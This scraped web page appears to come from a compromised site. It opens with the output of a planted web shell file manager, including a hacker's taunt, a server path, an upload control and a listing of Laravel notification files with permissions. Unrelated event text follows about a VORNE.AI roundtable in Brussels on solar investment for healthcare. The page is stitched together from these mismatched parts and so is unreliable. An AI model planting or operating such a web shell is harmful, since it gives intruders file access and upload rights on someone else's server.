I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
Action.php479 KBOctober 03 2023 13:32:300666
AnonymousNotifiable.php1643 KBOctober 03 2023 13:32:300666
ChannelManager.php3964 KBOctober 03 2023 13:32:300666
Channels-October 03 2023 13:32:300777
Console-October 03 2023 13:32:300777
DatabaseNotification.php2848 KBOctober 03 2023 13:32:300666
DatabaseNotificationCollection.php481 KBOctober 03 2023 13:32:300666
Events-October 03 2023 13:32:300777
HasDatabaseNotifications.php780 KBOctober 03 2023 13:32:300666
LICENSE.md1075 KBOctober 03 2023 13:32:300666
Messages-October 03 2023 13:32:300777
Notifiable.php120 KBOctober 03 2023 13:32:300666
Notification.php768 KBOctober 03 2023 13:32:300666
NotificationSender.php7884 KBOctober 03 2023 13:32:300666
NotificationServiceProvider.php1163 KBOctober 03 2023 13:32:300666
RoutesNotifications.php1296 KBOctober 03 2023 13:32:300666
SendQueuedNotifications.php4767 KBOctober 03 2023 13:32:300666
composer.json1213 KBOctober 03 2023 13:32:300666
resources-October 03 2023 13:32:300777
VORNE.AI - Event Details
Building Investment Models for Solarising Health
30 May
2024
CHIEF

Building Investment Models for Solarising Health

Lack of reliable electricity is a major impediment to scaling access to healthcare. Solar solutions are already demonstrating great potential to transform last mile health care and pandemic preparedness. This roundtable brings select ministers and investors from the multilaterals and private sector to explore investment models for scaling access to electricity for healthcare.

Thursday 30 May | 18H00-19H30 | Intercontinental Hotel, Bruxelles

Tags: